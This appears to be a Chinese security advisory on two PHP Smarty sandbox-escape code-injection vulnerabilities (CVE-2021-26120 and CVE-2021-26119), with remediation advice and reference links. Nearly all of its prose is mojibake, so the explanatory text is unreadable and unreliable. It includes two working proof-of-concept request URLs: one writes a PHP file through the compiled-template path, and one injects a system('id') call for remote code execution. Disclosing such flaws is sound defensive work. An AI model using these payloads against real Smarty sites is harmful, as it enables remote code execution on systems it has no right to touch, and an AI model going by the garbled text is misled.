PHP SmartyÄ£°æ´úÂë×¢Èë·ì϶£¨CVE-2021-26120£©

°ä²¼¹¦·ò 2021-02-26

0x00 ·ì϶¸ÅÊö

CVE  ID

CVE-2021-26120

ʱ   ¼ä

2021-02-26

Àà   ÐÍ

´úÂë×¢Èë

µÈ   ¼¶

¸ßΣ

Ô¶³ÌÀûÓÃ

ÊÇ

Ó°ÏìÁìÓò

PHP Smarty < 3.1.39

 

0x01 ·ì϶ÏêÇé

image.png

 

SmartyÊÇͨ¹ýPHP¿ª·¢µÄÄ£°åÒýÇæ £¬Ëü·Ö¸ôÁËPHPÂß¼­´úÂëÓë±í¹Û£¨HTMLÒ³£©ÒÔ±ãÓÚÖÎÀí ¡£

½üÈÕ £¬PHP Smarty±»Åû¶´æÔÚ2¸öPHP´úÂë×¢Èë·ì϶£¨CVE-2021-26120ºÍCVE-2021-26119£© £¬¹¥»÷ÕßÄܹ»Í¨¹ýÀûÓÃÕâЩ·ì϶À´×¢ÈëËÁÒâ´úÂë ¡£

template_objectɳÏäÌÓÒÝPHP´úÂë×¢Èë·ì϶£¨CVE-2021-26119£©

ÔÚSmartyÖÐ £¬Smarty´Ó$smarty.template_object±äÁ¿½Ó¼ûÊ·ý £¬ÓÉÓÚ¹¥»÷ÕßÄܹ»½Ó¼ûsmarty»òparentÊôÐÔ £¬´Ó¶øÄܹ»½Ó¼ûSmartyÊ·ý ¡£³É¹¦ÀûÓô˷ì϶µÄ¹¥»÷ÕßÄܹ»Í¨¹ý»ú¹Ø¶ñÒâÊý¾Ý £¬×îÖÕÔì³ÉÔ¶³Ì´úÂëÖ´ÐÐ ¡£

POC´úÂëÈçÏ£¨ÐèÁ½´ÎÔËÐÐ £¬µÚÒ»´ÎдÈ뻺´æÎļþ¶øºó½«Æä¸²¸Ç £¬µÚ¶þ´Î´¥·¢»º´æ²¢Ô̺¬ÎļþÒÔÖ´ÐÐÔ¶³Ì´úÂë ¡££©£º

http://localhost:8000/page.php?poc=string:{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"<?php+phpinfo();",$s)}

image.png

 

Smarty_Internal_Runtime_TplFunctionɳÏäÌÓÒÝPHP´úÂë×¢Èë·ì϶£¨CVE-2021-26120£©

ÓÉÓÚSmartyÔÚ±àÒëÄ£°åÓ﷨ʱ £¬Smarty_Internal_Runtime_TplFunctionÀàÔÚ½ç˵ʱ²»ÄÜÕýÈ·¹ýÂËnameÊôÐÔtplFunctions £¬¹¥»÷ÕßÄܹ»Í¨¹ý×¢ÈëPayload £¬×îÖÕÔ¶³ÌÖ´ÐдúÂë ¡£

PoC´úÂëÈçÏ£º

http://localhost:8000/page.php?poc=string:{function+name='rce(){};system("id");function+'}{/function}

image.png 

 

0x02 ´ëÖý¨Òé

Ŀǰ¸Ã·ì϶ÒѾ­½¨¸´ £¬½¨Òéʵʱ¸üÐÂÉý¼¶µ½3.1.39»ò¸ü¸ß°æ±¾ ¡£

Á´½ÓÈçÏ£º

https://github.com/smarty-php/smarty/blob/master/CHANGELOG.md

 

0x03 ²Î¿¼Á´½Ó

https://github.com/smarty-php/smarty/security/advisories/GHSA-w5hr-jm4j-9jvq

https://github.com/smarty-php/smarty/security/advisories/GHSA-3rpf-5rqv-689q

https://srcincite.io/blog/2021/02/18/smarty-template-engine-multiple-sandbox-escape-vulnerabilities.html

 

0x04 ¹¦·òÏß

2021-02-18  Steven SeeleyÅû¶·ì϶

2021-02-26  VSRC°ä²¼°²È«¹«¸æ

 

0x05 ¸½Â¼

 

CVSSÆÀ·Ö³ß¶È¹ÙÍø£ºhttp://www.first.org/cvss/

image.png